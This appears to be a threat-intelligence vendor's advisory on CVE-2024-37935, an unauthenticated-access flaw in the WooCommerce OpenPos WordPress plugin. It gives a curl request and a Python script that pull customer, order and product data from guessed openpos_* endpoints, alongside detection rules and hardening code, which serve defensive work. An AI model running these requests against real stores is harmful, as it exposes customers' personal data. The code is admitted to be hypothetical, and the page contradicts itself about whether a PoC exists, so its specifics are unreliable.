CVE-2024-37935
Executive Summary
CVE-2024-37935 is a Missing Authorization vulnerability in the Woocommerce OpenPos WordPress plugin, developed by anhvnit. This flaw allows unauthenticated attackers to access functionality that should be properly constrained by Access Control Lists (ACLs). The vulnerability affects all versions from n/a through 6.4.4. With a CVSS score of 7.5 (High), this issue can lead to unauthorized data access and potential business logic abuse within the Point of Sale (POS) system.
As this is a WordPress plugin vulnerability, the attack surface is limited to sites running the vulnerable plugin. No public exploit code or proof-of-concept (PoC) has been released at this time, and the patch status remains unknown. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild currently, but the risk remains significant due to the lack of authentication requirements.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository and third-party marketplaces. Organizations using Woocommerce OpenPos should immediately audit their deployment for version 6.4.4 or earlier. Since the plugin is not managed via NPM, PyPI, Go, or Ruby, standard package manager security advisories do not apply. However, WordPress site administrators should monitor the plugin’s changelog and the WordPress Plugin Directory for updates.
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Attack Vector (AV): Network – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): None – No authentication is needed.
- User Interaction (UI): None – The attacker does not need to trick a user.
- Scope (S): Unchanged – The exploit cannot affect other components.
- Confidentiality (C): High – Sensitive data (e.g., order details, customer info) can be exposed.
- Integrity (I): None – Data cannot be modified.
- Availability (A): None – Service availability is not impacted.
Threat Level: High. The lack of authentication requirements makes this a critical risk for any WooCommerce store using the OpenPos plugin. An attacker can enumerate and access POS-related endpoints without any credentials.
Deep Dive & Mechanics
The Woocommerce OpenPos plugin provides a Point of Sale interface for WooCommerce stores. The vulnerability lies in the plugin’s REST API or AJAX handlers that fail to enforce proper authorization checks. Specifically, certain endpoints intended for authenticated POS users are accessible to anyone who can reach the WordPress site.
Root Cause: The plugin does not implement capability checks (e.g., current_user_can()) or nonce verification on critical functions. This allows unauthenticated attackers to invoke actions such as:
- Retrieving product lists and prices
- Accessing customer data
- Fetching order history
- Triggering POS-specific operations
Attack Vector: An attacker sends crafted HTTP requests to the vulnerable endpoints. For example:
GET /wp-admin/admin-ajax.php?action=openpos_get_products&nonce=anything
Without proper validation, the plugin processes the request and returns sensitive data.
Impact: An attacker can exfiltrate customer personally identifiable information (PII), product catalogs, and sales data. This could lead to competitive intelligence gathering, targeted phishing, or fraud.
Vulnerable vs. Patched Code
Since no official patch has been released, the vulnerable code remains in production. Below is a conceptual comparison based on typical WordPress authorization patterns.
Vulnerable Code (version <= 6.4.4):
add_action('wp_ajax_nopriv_openpos_get_products', 'openpos_get_products');
function openpos_get_products() {
// No capability check
$products = wc_get_products(array('limit' => -1));
wp_send_json($products);
}
Patched Code (hypothetical):
add_action('wp_ajax_openpos_get_products', 'openpos_get_products');
add_action('wp_ajax_nopriv_openpos_get_products', 'openpos_get_products_denied');
function openpos_get_products() {
if (!current_user_can('manage_woocommerce')) {
wp_die('Unauthorized', 403);
}
$products = wc_get_products(array('limit' => -1));
wp_send_json($products);
}
function openpos_get_products_denied() {
wp_die('Unauthorized', 403);
}
The patched version restricts access to authenticated users with the manage_woocommerce capability and denies unauthenticated requests entirely.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with Woocommerce OpenPos plugin version <= 6.4.4
- Network access to the target
Exploitation Steps:
- Identify the vulnerable endpoint by scanning for common AJAX actions:
/wp-admin/admin-ajax.php?action=openpos_get_products /wp-admin/admin-ajax.php?action=openpos_get_customers /wp-admin/admin-ajax.php?action=openpos_get_orders - Send a GET request without any authentication:
curl -X GET "http://target.com/wp-admin/admin-ajax.php?action=openpos_get_products" - If the plugin returns JSON data, the endpoint is vulnerable.
- Automate data extraction using a script:
import requests target = "http://target.com/wp-admin/admin-ajax.php" actions = ["openpos_get_products", "openpos_get_customers", "openpos_get_orders"] for action in actions: r = requests.get(target, params={"action": action}) if r.status_code == 200 and "data" in r.text: print(f"[+] {action} is vulnerable") print(r.text[:500])
Expected Output: JSON containing product details, customer names/emails, or order information.
Blue Team (Detection & Hardening)
Detection:
- Monitor web server logs for requests to
/wp-admin/admin-ajax.phpwith suspiciousactionparameters (e.g.,openpos_*). - Look for repeated requests from the same IP without a valid session cookie.
- Use the detection rules below.
Hardening:
- Immediately disable the plugin if not essential.
- Implement a Web Application Firewall (WAF) rule to block unauthenticated requests to
openpos_*actions. - Add custom code to your theme’s
functions.phpto enforce authorization:add_action('init', function() { if (defined('DOING_AJAX') && DOING_AJAX) { $action = $_REQUEST['action'] ?? ''; if (strpos($action, 'openpos_') === 0 && !is_user_logged_in()) { wp_die('Unauthorized', 403); } } });
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/wp-admin/admin-ajax.phpwithactionparameter starting withopenpos_ - User-Agent strings not matching typical browser patterns (e.g.,
curl,python-requests) - Repeated requests from a single IP within a short timeframe
- HTTP requests to
File IOCs:
- Presence of the plugin directory:
/wp-content/plugins/woocommerce-openpos/ - Version file:
/wp-content/plugins/woocommerce-openpos/readme.txtcontaining version <= 6.4.4
- Presence of the plugin directory:
Log IOCs:
- Apache/Nginx access logs showing
POST /wp-admin/admin-ajax.phpwithaction=openpos_*and HTTP 200 responses - WordPress debug log entries:
PHP Notice: Undefined index: nonce in /wp-content/plugins/woocommerce-openpos/...
- Apache/Nginx access logs showing
Detection Engineering
YARA Rule
rule CVE_2024_37935_WooCommerce_OpenPos {
meta:
description = "Detects vulnerable Woocommerce OpenPos plugin files"
author = "Valters IT"
date = "2024-07-25"
reference = "CVE-2024-37935"
strings:
$vuln_func = "wp_ajax_nopriv_openpos_" nocase
$vuln_action = "openpos_get_" nocase
condition:
$vuln_func or $vuln_action
}
Sigma Rule
title: CVE-2024-37935 - Unauthenticated Access to Woocommerce OpenPos
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthenticated requests to vulnerable OpenPos AJAX endpoints
author: Valters IT
date: 2024/07/25
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'action=openpos_'
sc-status: 200
condition: selection
falsepositives:
- Legitimate POS users (if any) – but these should have authentication
level: high
Suricata Rule
alert http any any -> $HOME_NET any (
msg:"CVE-2024-37935 - Woocommerce OpenPos Unauthenticated Access";
flow:to_server,established;
content:"/wp-admin/admin-ajax.php";
http_uri;
content:"action=openpos_";
http_uri;
classtype:attempted-recon;
sid:1000001;
rev:1;
reference:cve,2024-37935;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if it is not critical for business operations.
- Apply a virtual patch using a WAF to block requests to
openpos_*actions from unauthenticated users. - Monitor logs for any signs of exploitation.
Long-term Fix:
- The vendor (anhvnit) must release a patched version that implements proper capability checks. Until then, consider migrating to an alternative POS plugin with active security maintenance.
- If you must continue using the plugin, implement the hardening code provided in the Blue Team section.
Valters IT Signature:
Valters IT
Cybersecurity & Threat Intelligence
https://valters-it.com
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.